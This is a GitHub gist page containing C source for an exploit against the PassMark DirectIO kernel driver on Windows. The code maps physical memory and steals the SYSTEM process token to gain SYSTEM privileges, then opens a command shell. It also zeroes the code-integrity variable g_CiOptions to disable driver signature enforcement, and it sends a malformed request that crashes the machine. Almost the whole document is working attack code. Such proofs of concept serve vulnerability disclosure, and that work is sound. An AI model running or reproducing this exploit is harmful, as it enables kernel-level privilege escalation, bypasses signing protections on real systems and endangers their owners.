Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Created April 26, 2021 10:43
Show Gist options
  • Save hfiref0x/33985b7694c06bc8ee6d8385efadb85e to your computer and use it in GitHub Desktop.
Save hfiref0x/33985b7694c06bc8ee6d8385efadb85e to your computer and use it in GitHub Desktop.
PassMark DirectIO exploit
#include "global.h"
#define EPROCESS_UniqueProcessId_1809 0x2E0
#define EPROCESS_ActiveProcessLinks_1809 EPROCESS_UniqueProcessId_1809 + sizeof(HANDLE)
#define EPROCESS_Token_1809 0x358
#define EPROCESS_UniqueProcessId_1903 0x02E8
#define EPROCESS_ActiveProcessLinks_1903 EPROCESS_UniqueProcessId_1903 + sizeof(HANDLE)
#define EPROCESS_Token_1903 0x360
#define EPROCESS_UniqueProcessId_20H1 0x0440
#define EPROCESS_ActiveProcessLinks_20H1 EPROCESS_UniqueProcessId_20H1 + sizeof(HANDLE)
#define EPROCESS_Token_20H1 0x4B8
ULONG_PTR StealToken(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR SystemProcess,
_In_ ULONG_PTR TargetProcess)
{
DWORD NtBuildNumber = USER_SHARED_DATA->NtBuildNumber;
DWORD offsetToken = 0;
ULONG_PTR objectAddress, tokenValue = 0;
switch (NtBuildNumber) {
case 17763:
offsetToken = EPROCESS_Token_1809;
break;
case 18362:
case 18363:
offsetToken = EPROCESS_Token_1903;
break;
default:
offsetToken = EPROCESS_Token_20H1;
break;
}
objectAddress = SystemProcess + offsetToken;
if (DI64ReadKernelVirtualMemory(DeviceHandle,
objectAddress,
&tokenValue,
sizeof(tokenValue)))
{
objectAddress = TargetProcess + offsetToken;
return DI64WriteKernelVirtualMemory(DeviceHandle,
objectAddress,
&tokenValue,
sizeof(tokenValue));
}
return 0;
}
ULONG_PTR QuerySelfProcessObject(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR SystemProcess
)
{
DWORD NtBuildNumber = USER_SHARED_DATA->NtBuildNumber;
ULONG_PTR processId = 0, currentProcessId = GetCurrentProcessId(), resultValue = 0;
DWORD offsetUniqueProcess, offsetActiveProcessLinks, cPass = 0;
ULONG_PTR objectAddress;
LIST_ENTRY activeProcessLinks;
switch (NtBuildNumber) {
case 17763:
offsetUniqueProcess = EPROCESS_UniqueProcessId_1809;
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_1809;
break;
case 18362:
case 18363:
offsetUniqueProcess = EPROCESS_UniqueProcessId_1903;
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_1903;
break;
default:
offsetUniqueProcess = EPROCESS_UniqueProcessId_20H1;
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_20H1;
break;
}
objectAddress = SystemProcess + offsetActiveProcessLinks;
do {
if (!DI64ReadKernelVirtualMemory(DeviceHandle,
objectAddress,
&activeProcessLinks,
sizeof(LIST_ENTRY)))
{
printf_s("[!] Error reading %llX\r\n", objectAddress);
break;
}
objectAddress = ((ULONG_PTR)activeProcessLinks.Flink - offsetActiveProcessLinks) + offsetUniqueProcess;
processId = 0;
if (!DI64ReadKernelVirtualMemory(DeviceHandle,
objectAddress,
&processId,
sizeof(processId)))
{
printf_s("[!] Error reading %llX\r\n", objectAddress);
break;
}
if (processId == currentProcessId) {
resultValue = (objectAddress - offsetUniqueProcess);
break;
}
objectAddress = (objectAddress - offsetUniqueProcess) + offsetActiveProcessLinks;
cPass++;
if (cPass > 1000) {
printf_s("[!] Too many attempts, bail out\r\n");
break;
}
} while (TRUE);
return resultValue;
}
ULONG_PTR QuerySystemProcessObject(
_In_ HANDLE DeviceHandle
)
{
ULONG_PTR resultValue = 0, kmAddress = 0, funcAddress = 0;
HMODULE pvModuleBase = NULL;
CHAR szFullModuleName[MAX_PATH * 2];
kmAddress = supGetModuleBaseByName(NTOSKRNL_EXE);
if (kmAddress == 0) {
printf_s("[!] Error, could not query ntoskrnl.exe image base\r\n");
return 0;
}
szFullModuleName[0] = 0;
if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) {
printf_s("[!] Error, Windows directory not recognized\r\n");
return 0;
}
StringCchPrintfA(szFullModuleName, MAX_PATH, "%s\\%s",
szFullModuleName,
NTOSKRNL_EXE);
pvModuleBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (pvModuleBase) {
ULONG_PTR PsInitialSystemProcess = (ULONG_PTR)GetProcAddress(pvModuleBase, "PsInitialSystemProcess");
funcAddress = (PsInitialSystemProcess - (ULONG_PTR)pvModuleBase) + kmAddress;
if (!DI64ReadKernelVirtualMemory(DeviceHandle,
funcAddress,
&resultValue,
sizeof(resultValue)))
{
printf_s("[!] Could not read PsInitialSystemProcess value\r\n");
}
FreeLibrary(pvModuleBase);
}
else {
printf_s("[!] Error, \"%s\" file could not be loaded, GetLastError(0x%lX)\r\n",
szFullModuleName, GetLastError());
}
return resultValue;
}
void DoLPE(_In_ HANDLE DeviceHandle)
{
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD cch;
TCHAR cmdbuf[MAX_PATH * 2];
ULONG_PTR systemProcess = QuerySystemProcessObject(DeviceHandle);
if (systemProcess == 0) return;
printf_s("[+] System EPROCESS 0x%llX\r\n", systemProcess);
ULONG_PTR selfProcess = QuerySelfProcessObject(DeviceHandle, systemProcess);
if (selfProcess == 0) return;
printf_s("[+] Self EPROCESS 0x%llX\r\n", selfProcess);
if (StealToken(DeviceHandle, systemProcess, selfProcess) == 0) {
printf_s("[!] Steal fail\r\n");
return;
}
else {
printf_s("[+] System process token stealing complete\r\n");
}
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
GetStartupInfo(&startupInfo);
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\cmd.exe"), cmdbuf, MAX_PATH);
if ((cch != 0) && (cch < MAX_PATH)) {
if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL,
NULL, &startupInfo, &processInfo))
{
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
}
}
int main()
{
ShowProcessAndUserInfo();
//
// Everyone can use.
//
printf_s("[*] Open vulnerable driver device with R/W access\r\n");
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\DIRECTIO64"),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf_s("[!] Unable to open device, GetLastError(%lX)\r\n", GetLastError());
return -1;
}
else {
printf_s("[+] DIRECTIO device opened\r\n");
}
//
// Read access to entire physical memory for everyone.
//
printf_s("[*] Open \\Device\\PhysicalMemory section for SECTION_READ access for everyone\r\n");
NTSTATUS ntStatus;
HANDLE sectionHandle = NULL;
//
// Let's read something.
//
ntStatus = DICallDriver(deviceHandle,
IOCTL_DIRECTIO_OPEN_PHYSICAL_MEMORY,
NULL,
0,
&sectionHandle,
sizeof(sectionHandle));
if (NT_SUCCESS(ntStatus) && sectionHandle) {
PVOID baseAddress = NULL;
SIZE_T viewSize = 0x100000;
PHYSICAL_ADDRESS viewBase;
viewBase.QuadPart = 0;
ntStatus = NtMapViewOfSection(sectionHandle,
NtCurrentProcess(),
&baseAddress,
0,
viewSize,
&viewBase,
&viewSize,
ViewShare,
0,
PAGE_READONLY);
printf_s("[+] Section opened, NtMapViewOfSection result: 0x%lX\r\n", ntStatus);
}
else {
printf_s("[!] IOCTL_DIRECTIO_OPEN_PHYSICAL_MEMORY failed, error %lX\r\n", ntStatus);
}
//
// LPE
//
printf_s("[*] Press any key for LPE\r\n");
system("pause");
DoLPE(deviceHandle);
printf_s("[*] Press any key to corrupt DSE state flags\r\n");
system("pause");
//
// Complete R/W access to physical memory for everyone.
// Corrupt DSE, map your own code do what you want.
//
printf_s("[*] Corrupt CI kernel mode variable\r\n");
ULONG_PTR g_CiOptionsAddress = supQueryVariableCiOptions();
ULONG_PTR g_CiOptions;
if (g_CiOptionsAddress == 0) {
printf_s("[!] Error, g_CiOptions address query failed\r\n");
}
else {
printf_s("[+] Attempt to read g_CiOptions from 0x%llX\r\n", g_CiOptionsAddress);
if (DI64ReadKernelVirtualMemory(deviceHandle,
g_CiOptionsAddress,
&g_CiOptions,
sizeof(g_CiOptions)))
{
printf_s("[+] CI!g_CiOptions -> %llX\r\n", g_CiOptions);
g_CiOptions = 0;
if (DI64WriteKernelVirtualMemory(deviceHandle,
g_CiOptionsAddress,
&g_CiOptions,
sizeof(g_CiOptions)))
{
printf_s("[+] CI state flags corrupted\r\n");
}
else {
printf_s("[!] Unable to write to the KM\r\n");
}
}
else {
printf_s("[!] Unable to read from the KM\r\n");
}
}
//
// Multiple bugs inside driver due to badly written code.
//
printf_s("[*] Press any key for BSOD\r\n");
system("pause");
BYTE trashBuffer[4096];
RtlFillMemory(trashBuffer, sizeof(trashBuffer), 0xff);
ntStatus = DICallDriver(deviceHandle,
0x8011E090,
&trashBuffer,
sizeof(trashBuffer),
&trashBuffer,
sizeof(trashBuffer));
printf_s("[+] Never here, status 0x%lX\r\n", ntStatus);
printf_s("[*] Bye!\r\n");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment